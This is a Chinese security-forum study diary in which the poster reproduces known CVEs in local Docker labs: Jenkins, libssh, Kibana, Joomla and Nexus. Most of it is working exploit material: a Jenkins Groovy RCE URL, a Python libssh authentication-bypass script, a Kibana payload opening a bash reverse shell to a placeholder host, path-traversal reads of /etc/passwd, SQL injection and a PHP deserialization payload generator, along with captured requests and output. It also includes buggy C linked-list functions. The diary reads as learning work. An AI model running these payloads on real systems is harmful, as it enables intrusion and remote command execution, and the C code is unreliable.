安全矩阵

 找回密码
 立即注册
搜索
楼主: sandalwood

马鹏雲的学习日记

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-10 22:13:52 | 显示全部楼层
写了点数据结构,复现了一个CVE(有几个感觉总是配置错了,但是目前还没发现是错哪了。。。)

复现:
# Jenkins远程命令执行漏洞(CVE-2018-1000861)            

打开后是这样的:

```
<title>Dashboard [Jenkins]</title><link rel="stylesheet" href="/static/c8e5ea67/css/layout-common.css" type="text/css" /><link rel="stylesheet" href="/static/c8e5ea67/css/style.css" type="text/css" /><link rel="stylesheet" href="/static/c8e5ea67/css/color.css" type="text/css" /><link rel="stylesheet" href="/static/c8e5ea67/css/responsive-grid.css" type="text/css" /><link rel="shortcut icon" href="/static/c8e5ea67/favicon.ico" type="image/vnd.microsoft.icon" /><link color="black" rel="mask-icon" href="/images/mask-icon.svg" /><script>var isRunAsTest=false; var rootURL=""; var resURL="/static/c8e5ea67";</script><script src="/static/c8e5ea67/scripts/prototype.js" type="text/javascript"></script><script src="/static/c8e5ea67/scripts/behavior.js" type="text/javascript"></script><script src='/adjuncts/c8e5ea67/org/kohsuke/stapler/bind.js' type='text/javascript'></script><script src="/static/c8e5ea67/scripts/yui/yahoo/yahoo-min.js"></script><script src="/static/c8e5ea67/scripts/yui/dom/dom-min.js"></script><script src="/static/c8e5ea67/scripts/yui/event/event-min.js"></script><script src="/static/c8e5ea67/scripts/yui/animation/animation-min.js"></script><script src="/static/c8e5ea67/scripts/yui/dragdrop/dragdrop-min.js"></script><script src="/static/c8e5ea67/scripts/yui/container/container-min.js"></script><script src="/static/c8e5ea67/scripts/yui/connection/connection-min.js"></script><script src="/static/c8e5ea67/scripts/yui/datasource/datasource-min.js"></script><script src="/static/c8e5ea67/scripts/yui/autocomplete/autocomplete-min.js"></script><script src="/static/c8e5ea67/scripts/yui/menu/menu-min.js"></script><script src="/static/c8e5ea67/scripts/yui/element/element-min.js"></script><script src="/static/c8e5ea67/scripts/yui/button/button-min.js"></script><script src="/static/c8e5ea67/scripts/yui/storage/storage-min.js"></script><script src="/static/c8e5ea67/scripts/hudson-behavior.js" type="text/javascript"></script><script src="/static/c8e5ea67/scripts/sortable.js" type="text/javascript"></script><script>crumb.init("", "");</script><link rel="stylesheet" href="/static/c8e5ea67/scripts/yui/container/assets/container.css" type="text/css" /><link rel="stylesheet" href="/static/c8e5ea67/scripts/yui/assets/skins/sam/skin.css" type="text/css" /><link rel="stylesheet" href="/static/c8e5ea67/scripts/yui/container/assets/skins/sam/container.css" type="text/css" /><link rel="stylesheet" href="/static/c8e5ea67/scripts/yui/button/assets/skins/sam/button.css" type="text/css" /><link rel="stylesheet" href="/static/c8e5ea67/scripts/yui/menu/assets/skins/sam/menu.css" type="text/css" /><link rel="search" href="/opensearch.xml" type="application/opensearchdescription+xml" title="Jenkins" /><meta name="ROBOTS" content="INDEX,NOFOLLOW" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="alternate" href="/rssAll" title="Jenkins:all (all builds)" type="application/rss+xml" /><link rel="alternate" href="/rssAll?flavor=rss20" title="Jenkins:all (all builds) (RSS 2.0)" type="application/rss+xml" /><link rel="alternate" href="/rssFailed" title="Jenkins:all (failed builds)" type="application/rss+xml" /><link rel="alternate" href="/rssFailed?flavor=rss20" title="Jenkins:all (failed builds) (RSS 2.0)" type="application/rss+xml" /><script src="/static/c8e5ea67/scripts/yui/cookie/cookie-min.js"></script><script>
YAHOO.util.Cookie.set("screenResolution", screen.width+"x"+screen.height);
</script><script src="/static/c8e5ea67/jsbundles/page-init.js" type="text/javascript"></script></head><body data-model-type="hudson.model.AllView" id="jenkins" class="yui-skin-sam two-column jenkins-2.138" data-version="2.138"><a href="#skip2content" class="skiplink">Skip to content</a><div id="page-head"><div id="header"><div class="logo"><a id="jenkins-home-link" href="/"><img src="/static/c8e5ea67/images/headshot.png" alt="[Jenkins]" id="jenkins-head-icon" /><img src="/static/c8e5ea67/images/title.png" alt="Jenkins" width="139" id="jenkins-name-icon" height="34" /></a></div><div class="login"> <a href="/login?from=%2F"><b>log in</b></a></div><div class="searchbox hidden-xs"><form method="get" name="search" action="/search/" style="position:relative;" class="no-json"><div id="search-box-minWidth"></div><div id="search-box-sizer"></div><div id="searchform"><input name="q" placeholder="search" id="search-box" class="has-default-text" /> <a href="https://jenkins.io/redirect/search-box"><img src="/static/c8e5ea67/images/16x16/help.png" style="width: 16px; height: 16px; " class="icon-help icon-sm" /></a><div id="search-box-completion"></div><script>createSearchBox("/search/");</script></div></form></div></div><div id="breadcrumbBar"><tr id="top-nav"><td id="left-top-nav" colspan="2"><link rel='stylesheet' href='/adjuncts/c8e5ea67/lib/layout/breadcrumbs.css' type='text/css' /><script src='/adjuncts/c8e5ea67/lib/layout/breadcrumbs.js' type='text/javascript'></script><div class="top-sticker noedge"><div class="top-sticker-inner"><div id="right-top-nav"><div id="right-top-nav"><div class="smallfont"><a href="?auto_refresh=true">ENABLE AUTO REFRESH</a></div></div></div><ul id="breadcrumbs"><li class="item"><a href="/" class="model-link inside">Jenkins</a></li><li href="/" class="children"></li></ul><div id="breadcrumb-menu-target"></div></div></div></td></tr></div></div><div id="page-body" class="clear"><div id="side-panel"><div id="tasks"><div class="task"><a href="/asynchPeople/" class="task-icon-link"><img src="/static/c8e5ea67/images/24x24/user.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-user icon-md" /></a> <a href="/asynchPeople/" class="task-link">People</a></div><div class="task"><a href="/view/all/builds" class="task-icon-link"><img src="/static/c8e5ea67/images/24x24/notepad.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-notepad icon-md" /></a> <a href="/view/all/builds" class="task-link">Build History</a></div><div class="task"><a href="/credentials" class="task-icon-link"><img src="/static/c8e5ea67/plugin/credentials/images/24x24/credentials.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-credentials-credentials icon-md" /></a> <a href="/credentials" class="task-link">Credentials</a></div></div><div id="buildQueue" class="container-fluid pane-frame track-mouse expanded"><div class="row"><div class="col-xs-24 pane-header"><a href="/toggleCollapse?paneId=buildQueue" title="collapse" class="collapse"><img src="/static/c8e5ea67/images/16x16/collapse.png" alt="collapse" style="width: 16px; height: 16px; " class="icon-collapse icon-sm" /></a>Build Queue</div></div><div class="row pane-content"><table class="pane "><script src='/adjuncts/c8e5ea67/lib/form/link/link.js' type='text/javascript'></script><tr><td class="pane" colspan="2">No builds in the queue.</td></tr></table></div></div><script defer="defer">refreshPart('buildQueue',"/ajaxBuildQueue");</script><div id="executors" class="container-fluid pane-frame track-mouse expanded"><div class="row"><div class="col-xs-24 pane-header"><a href="/toggleCollapse?paneId=executors" title="collapse" class="collapse"><img src="/static/c8e5ea67/images/16x16/collapse.png" alt="collapse" style="width: 16px; height: 16px; " class="icon-collapse icon-sm" /></a><a href='/computer/'>Build Executor Status</a></div></div><div class="row pane-content"><table class="pane "><colgroup><col width="30" /><col width="200*" /><col width="24" /></colgroup><tr></tr><tr><td class="pane" align="right" style="vertical-align: top">1</td><td class="pane">Idle</td><td class="pane"></td><td class="pane"></td></tr><tr><td class="pane" align="right" style="vertical-align: top">2</td><td class="pane">Idle</td><td class="pane"></td><td class="pane"></td></tr></table></div></div><script defer="defer">refreshPart('executors',"/ajaxExecutors");</script></div><div id="main-panel"><a name="skip2content"></a><div id="view-message"><div id="systemmessage"></div><div id="description"><div></div></div></div><div><h1>Welcome to Jenkins!</h1><div class="call-to-action">
<a href="/login?from=/">Log in</a> to create new jobs.
</div></div></div></div><footer><div class="container-fluid"><div class="row"><div class="col-md-6" id="footer"></div><div class="col-md-18"><span class="page_generated">Page generated: Nov 10, 2021 1:29:15 PM UTC</span><span class="rest_api"><a href="api/">REST API</a></span><span class="jenkins_ver"><a href="https://jenkins.io/">Jenkins ver. 2.138</a></span><script>Behaviour.addLoadEvent(function() {
loadScript("https://usage.jenkins.io/usage-stats.js?Ybg2Emmi1PAMEuTEXkk4bKJQZR12dY57ABXC+erWIERXyGRRpWvhtNqtmpJgvatQuDSqgTqwbfOn1fbd9DF/PP5tT/yQN+Q3NX1ObtBrswMbaH/NB0XaKyfdTJyZsmr7mKYa6KqKvVnk7WHIyYwiiKtH09OZPsvh6tPW2AYPhfuJxs9HL/PPhf+rOxEnKAtHeFUIk3H6mmXAGhcLa8Q69The2utxcESi+D8+KWIjccbRRowbX77nwISx5zAwWr2CYYQT+YOizNqhj1oEC9eaZRf7nHnh1jzVlRqkg5Tjtr10htYjBM7h2BpT+1zC1uerSf6WqMUewJTqH3f022K2sbfQCzsvxoR6b2G4bjF2103KIoXnPZk+ta8X8NlGomgClONAyZeYwQ8XUTUCNIB6EH/PkO0HeDxBdTHncJWAC2CrKGcpwx6BwpOVOd5hNHNrTKVrT+faYqiwpdtIF1Dx14Tvmz+1u72HjHdilVcPIkiyROGpMMPGat4j1y4I4WxTp+pJt7ixhPn/gtAweKS5jQ5ZnlsfbkWx2sxIRqK2b6Ztzl/ouGDwTLZPicJ7276aob/InKywHB8RxNRFscWWg6kkTNOpRv5n0YIttbjBYOX8rOmG2VwSPRYRLsd+/FjBsfxuXPkpyb5kCCUzHsJVYLJUH378xegyQtrOy+hVWYxyjPbuYDvTRk1zXrFNfb1qKYIVYBj5gTHUslToSs6rTBOX33KRwYmaA2K+LMqjc6TQvWouwFXxpxgMtq/z+NZ4s+DxjunyWV2z9KIIE1IJiDyU8zeFRSnQzSqbd5/V1okjxOMkQbeNeSisGDuPrvaYnOX2YRBxkUOFbD+h/HIZxJPiyqDTPTLrHXz5q04UI83IuXVj9/mkJ5Pyy4a+TW6sCqIVUbpbiySzqD140f0AihgZXleFWL1ih7QqdKDn9HsaTZJAFBAzdS06nU27I3h7uGMAGBzHCua1jliWuu0VOXLJEDnUsX767adajY9snesYFAJHs3Lj5tCE8tTgFh9Q2hVxDGutYHfmR3GlQvqkR6KSwZd1vrRQDcmP699RhNY07mjvRj6qGmHEPMNO5JuSpGDBTkCxf5wsKba8mCdc9oZqaQVkNMpKFgPj+Gu3Igwpc90rJKFhhnhDV4fjFEmG08+lx9Z1TqoPEcxN9XuFLHOxDt0g7win5TxYI7QTpoZCo4NeBO/eU7OfkARDXjwQwbVrtIphzqv2061umg/L0l9UBEschtK7EsjC98Ay24umau2pUXHFnA7PHuk1XxWPhPSO0o0Py5nHXTQcM2fUUV+Kg6IeTTsvye9Jy93mLEBXeAZiZimWBcTsTwJKh1wZb7mcoKJfSjkX57YQwfvRE/ZDjwEGtpT4STAUFyOCrX5ePnNSDtAcwCZeG7fMXsA8Femhk9PfUOUlR1U54jP38A==");});</script></div></div></div></footer></body></html>
```

![image-20211110212959420](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211110212959420.png)

在地址栏中输入:

```
http://127.0.0.1:8080/securityRe ... yScript/checkScript
?sandbox=true&value=public class x {public x(){"touch /tmp/CVE-2018-1000861_is_success".execute()}}
```

发现并没有回显:

![image-20211110213137712](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211110213137712.png)

源码中也只有一个div:

![image-20211110213159158](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211110213159158.png)

进入到docker容器中查看发现,/tmp/CVE-2018-1000861_is_success已经成功创建:

用命令:

```
docker-compose exec jenkins bash
```

进入docker容器:

```
docker-compose exec jenkins bash
jenkins@8688e7ed0b1e:/$ ls
bin  boot  dev  docker-java-home  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
jenkins@8688e7ed0b1e:/$ cd tmp
jenkins@8688e7ed0b1e:/tmp$ ls
CVE-2018-1000861_is_success  hsperfdata_jenkins  hsperfdata_root  jetty-0.0.0.0-8080-war-_-any-6498976036001807694.dir  jna--1712433994  winstone6114108781573931226.jar
```

![image-20211110213333973](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211110213333973.png)


数据结构:
//查找链表中某个位置的数据
int get_list(PNODE pHead,int pos){
        PNODE p=pHead;
        int get;
        for(int i=0;i<pos;i++){
                p=p->pNext;
        }
        get=p->data;
        return get;
}

//查找链表中某个数据的位置
int local_list(PNODE pHead,int val){
        PNODE p=pHead;
        int a;
        for(int i=0;i<length_list(pHead);i++){
                a=p->data;
                if(a==val)        return i+1;
                p=p->pNext;
        }
        return 0;
}

//清空链表
bool clear_list(PNODE pHead){
        PNODE p=pHead;
        for(int i=0;i<length_list(pHead)+1;i++){
                if(p->data!=NULL){
                        p->data=NULL;
                        p=p->pNext;
                }
                else
                        p=p->pNext;
        }
        return true;
}
//销毁链表
bool destroy_list(PNODE pHead){
        PNODE p=pHead;
        PNODE q;
        if(p->pNext){
                q=p->pNext;
                free(p);
                p=q;
        }
        return true;
}
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-12 22:34:33 | 显示全部楼层
# libssh 服务端权限认证绕过漏洞(CVE-2018-10933)            

libssh 是一个提供 ssh 相关接口的开源库,包含服务端、客户端等。其服务端代码中存在一处逻辑错误,攻击者可以在认证成功前发送 MSG_USERAUTH_SUCCESS 消息,绕过认证过程,未授权访问目标 SSH 服务器。

---

环境启动后,我们可以连接 `your-ip:2222` 端口(账号密码:`myuser:mypassword`),这是一个合法的 ssh 流程:







参考 https://www.seebug.org/vuldb/ssvid-97614 中给出的 POC,我们编写一个简单的漏洞复现脚本:

    #!/usr/bin/env python3
    import sys
    import paramiko
    import socket
    import logging
   
    logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
    bufsize = 2048
   
    def execute(hostname, port, command):
        sock = socket.socket()
        try:
            sock.connect((hostname, int(port)))
            message = paramiko.message.Message()
            transport = paramiko.transport.Transport(sock)
            transport.start_client()
   
            message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
            transport._send_message(message)
   
            client = transport.open_session(timeout=10)
            client.exec_command(command)
   
            # stdin = client.makefile("wb", bufsize)
            stdout = client.makefile("rb", bufsize)
            stderr = client.makefile_stderr("rb", bufsize)
   
            output = stdout.read()
            error = stderr.read()
   
            stdout.close()
            stderr.close()
   
            return (output+error).decode()
        except paramiko.SSHException as e:
            logging.exception(e)
            logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
        except socket.error:
            logging.debug("Unable to connect.")
   
        return None
        if __name__ == '__main__':
            print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))



使用 python3 执行,即可在目标服务器上执行任意命令:

```
python poc.py 127.0.0.1 2222 "ps aux"
```

```
python3 poc.py 127.0.0.1 2222 "ps aux"         
DEBUG:paramiko.transport:starting thread (client mode): 0xab81fd60
DEBUG:paramiko.transportocal version/idstring: SSH-2.0-paramiko_2.8.0
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-libssh_0.8.1
INFO:paramiko.transport:Connected (version 2.0, client libssh_0.8.1)
DEBUG:paramiko.transport:kex algos:['curve25519-sha256', 'curve25519-sha256@libssh.org', 'ecdh-sha2-nistp256', 'ecdh-sha2-nistp384', 'ecdh-sha2-nistp521', 'diffie-hellman-group14-sha1', 'diffie-hellman-group1-sha1'] server key:['ssh-rsa'] client encrypt:['chacha20-poly1305@openssh.com', 'aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] server encrypt:['chacha20-poly1305@openssh.com', 'aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] client mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] server mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] client compress:['none', 'zlib', 'zlib@openssh.com'] server compress:['none', 'zlib', 'zlib@openssh.com'] client lang:[''] server lang:[''] kex follows?False
DEBUG:paramiko.transport:Kex agreed: curve25519-sha256@libssh.org
DEBUG:paramiko.transport:HostKey agreed: ssh-rsa
DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
DEBUG:paramiko.transport:MAC agreed: hmac-sha2-256
DEBUG:paramiko.transport:Compression agreed: none
DEBUG:paramiko.transport:kex engine KexCurve25519 specified hash_algo <built-in function openssl_sha256>
DEBUG:paramiko.transport:Switch to new keys ...
DEBUG:paramiko.transport:[chan 0] Max packet in: 32768 bytes
DEBUG:paramiko.transport:[chan 0] Max packet out: 35000 bytes
DEBUG:paramiko.transport:Secsh channel 0 opened.
DEBUG:paramiko.transport:[chan 0] Sesch channel 0 request ok
DEBUG:paramiko.transport:[chan 0] EOF received (0)
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   4296   644 ?        Ss   13:41   0:00 /bin/sh -c /usr/src/build/examples/ssh_server_fork --hostkey=/etc/ssh/ssh_host_rsa_key --ecdsakey=/etc/ssh/ssh_host_ecdsa_key --dsakey=/etc/ssh/ssh_host_dsa_key --rsakey=/etc/ssh/ssh_host_rsa_key -p 22 0.0.0.0
root           8  0.0  0.0  20556  2816 ?        SL   13:41   0:00 /usr/src/build/examples/ssh_server_fork --hostkey=/etc/ssh/ssh_host_rsa_key --ecdsakey=/etc/ssh/ssh_host_ecdsa_key --dsakey=/etc/ssh/ssh_host_dsa_key --rsakey=/etc/ssh/ssh_host_rsa_key -p 22 0.0.0.0
root          42  0.0  0.0  20556  2524 ?        S    14:03   0:00 /usr/src/build/examples/ssh_server_fork --hostkey=/etc/ssh/ssh_host_rsa_key --ecdsakey=/etc/ssh/ssh_host_ecdsa_key --dsakey=/etc/ssh/ssh_host_dsa_key --rsakey=/etc/ssh/ssh_host_rsa_key -p 22 0.0.0.0
root          43  0.0  0.0   4296   740 ?        S    14:03   0:00 sh -c ps aux
root          44  0.0  0.0  36644  2760 ?        R    14:03   0:00 ps aux

```

![image-20211112220402784](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112220402784.png)

# Kibana 原型链污染导致任意代码执行漏洞 (CVE-2019-7609)            

启动环境前,需要先在 Docker 主机上执行如下命令,修改 vm.max_map_count 配置为 262144:

```
sysctl -w vm.max_map_count=262144
```

之后,执行如下命令启动 Kibana 6.5.4 和 Elasticsearch 6.8.6:

```
docker-compose up -d
```

环境启动后,访问127.0.0.1:5601 即可看到 Kibana 页面:

```
Kibana server is not ready yet
```

![image-20211112210317430](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112210317430.png)

再刷新一下就好了:

![image-20211112210612541](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112210612541.png)

![image-20211112210630635](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112210630635.png)

进入这里:

```
http://127.0.0.1:5601/app/timelion#?_g=()&_a=(columns:2,interval:auto,rows:2,selected:0,sheet:!('.es(*)'))
```

![image-20211112210725267](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112210725267.png)

使用poc:

```
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```

![image-20211112210846817](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112210846817.png)

然后点击访问 “Canvas” 页面触发命令 `/bin/touch /tmp/success`,可见 `/tmp/success` 已成功创建:

```
docker-compose exec kibana bash

bash-4.2$ ls -al /tmp
total 32
drwxrwxrwt 1 root   root   4096 Nov 12 13:14 .
drwxr-xr-x 1 root   root   4096 Nov 12 04:00 ..
drwxrwxrwt 2 root   root   4096 Dec  5  2018 .ICE-unix
drwxrwxrwt 2 root   root   4096 Dec  5  2018 .Test-unix
drwxrwxrwt 2 root   root   4096 Dec  5  2018 .X11-unix
drwxrwxrwt 2 root   root   4096 Dec  5  2018 .XIM-unix
drwxrwxrwt 2 root   root   4096 Dec  5  2018 .font-unix
-rwx------ 1 root   root    836 Dec  5  2018 ks-script-h2MyUP
-rw-rw-r-- 1 kibana kibana    0 Nov 12 13:14 success
-rw------- 1 root   root      0 Dec  5  2018 yum.log
```

![image-20211112211459877](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112211459877.png)

# Kibana Local File Inclusion (CVE-2018-17246)            

访问 `http://your-ip:5601` 即可看到 Kibana 的默认首页:

![image-20211112114522231](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112114522231.png)

直接访问如下 URL,来包含文件 /etc/passwd:

```
http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
```

得到一个500的页面:

```
{"statusCode":500,"error":"Internal Server Error","message":"An internal server error occurred"}
```

![image-20211112114614175](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112114614175.png)

虽然在返回的数据包里只能查看到一个 500 的错误信息,但是我们通过执行 `docker-compose logs` 即可发现,`/etc/passwd` 已经成功被包含:

```
kibana_1         | Debug: internal, implementation, error
kibana_1         |     SyntaxError: /etc/passwd: Unexpected token, expected ; (1:8)
kibana_1         | > 1 | root:x:0:0:root:/root:/bin/bash
kibana_1         |     |         ^
kibana_1         |   2 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
kibana_1         |   3 | bin:x:2:2:bin:/bin:/usr/sbin/nologin
kibana_1         |   4 | sys:x:3:3:sys:/dev:/usr/sbin/nologin
```

![image-20211112115000072](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112115000072.png)

随后我们进入到docker的容器中:

```
docker-compose exec kibana bash
```

依次输入命令:

```
echo 'export default {asJson: function() {return require("child_process").execSync("id").toString()}}
```

```
' > /tmp/vulhub.js
```

得到如下结果:

```
root@59a461749060:/# echo 'export default {asJson: function() {return require("child_process").execSync("id").toString()}}
> ' > /tmp/vulhub.js
root@59a461749060:/# cat /tmp/vulhub.js
export default {asJson: function() {return require("child_process").execSync("id").toString()}}
```

然后我们访问地址:

```
http://127.0.0.1:5601/api/consol ... ../../tmp/vulhub.js
```

得到如下页面:

```
{"../../../../../../../../../../../tmp/vulhub.js":"uid=999(kibana) gid=999(kibana) groups=999(kibana)\n"}
```

![image-20211112115444833](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112115444833.png)

即已经成功实现文件包含


# Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞环境            

打开后是Joomla的安装界面:

![image-20211112112236335](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112112236335.png)

当前环境的数据库信息为:

- 数据库地址:mysql:3306
- 用户:root
- 密码:root
- 数据库名:joomla

填入上述信息,正常安装即可。

![image-20211112112512250](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112112512250.png)

安装完成后即可进入到网址的页面中:

![image-20211112112712739](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112112712739.png)

通过URL访问地址:

```
http://127.0.0.1:8080/index.php? ... yout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
```

可以得到如下的报错页面,在报错的页面中我们可以看到返回了用户信息为root:

```
500 XPATH syntax error: 'root@172.18.0.3'
```

![image-20211112112855841](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211112112855841.png)

# Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)            

后访问 http://127.0.0.1:8080/ 即可看到 Joomla 的安装界面:

![image-20211111152129955](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211111152129955.png)

当前环境的数据库信息为:

    数据库地址:mysql:3306
    用户:root
    密码:root
    数据库名:joomla

填入上述信息,正常安装即可。

![image-20211111152701971](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211111152701971.png)

安装后的界面如下:

![image-20211111152912062](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211111152912062.png)

打开burpsuite,抓包:

```
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8080/
Connection: close
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; csrftoken=Nm7bpILExMBfV8xOArhuh0D10Oov2jmUMc79gkBd5hLFRgSs0yJA6sgOdka2f7T8; sessionid=15t0a23font0b4nmsxb0mnff2attrorn; 9d4bb4a09f511681369671a08beff228=e38cdd881489bcb29e5ddcf6246c64d0; 851384a82aa839e1ea05dacc2009a8af=8a1bc3afc4c0c69b9e3ee982dc5e5da6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


```

![image-20211111153013879](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211111153013879.png)

然后我们不带 User-Agent 头,访问一次目标主页,记下服务端返回的 Cookie:

![image-20211111154028237](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211111154028237.png)

(注意一定要空两行)

```
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close


```

![image-20211111154036361](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211111154036361.png)

cookie:

```
Set-Cookie: 851384a82aa839e1ea05dacc2009a8af=a90e82848041ca0de6a5a1d5ac29f077;
```



然后运行如下代码:

```
<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a);

$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);

echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
```

得到poc:

```
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}????
```

将生成好的 POC 作为 User-Agent,带上第一步获取的 Cookie 发包:

```
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
SetCookie: 851384a82aa839e1ea05dacc2009a8af=a90e82848041ca0de6a5a1d5ac29f077;
Connection: close
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}????


```

这一次发包,脏数据进入 Mysql 数据库。然后同样的包再发一次,我们的代码被执行


回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-14 22:45:54 | 显示全部楼层
# Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10204)

这个漏洞是 CVE-2018-16621 的绕过

注意:该漏洞的触发需要先上传一个jar包

触发该漏洞,必须保证仓库里至少有一个包存在。

---

登录后台后,复制当前 Cookie 和 CSRF Token,发送如下数据包,即可执行 EL 表达式:

```
POST /service/extdirect HTTP/1.1

Host: 127.0.0.1:8081

Content-Length: 227

X-Requested-With: XMLHttpRequest

X-Nexus-UI: true

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36

NX-ANTI-CSRF-TOKEN: 0.202738134052749

Content-Type: application/json

Accept: */*

Origin: http://127.0.0.1:8081

Referer: http://127.0.0.1:8081/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: NX-ANTI-CSRF-TOKEN=0.202738134052749; NXSESSIONID=277faad7-28a6-4791-90ab-48b0c324871e

Connection: close



{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}




```

![image-20211114222957034](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114222957034.png)

得到response如下:

```
HTTP/1.1 200 OK

Connection: close

Date: Sun, 14 Nov 2021 14:29:21 GMT

Server: Nexus/3.21.1-01 (OSS)

X-Content-Type-Options: nosniff

Content-Type: application/json;charset=utf-8

X-Frame-Options: DENY

Content-Length: 169



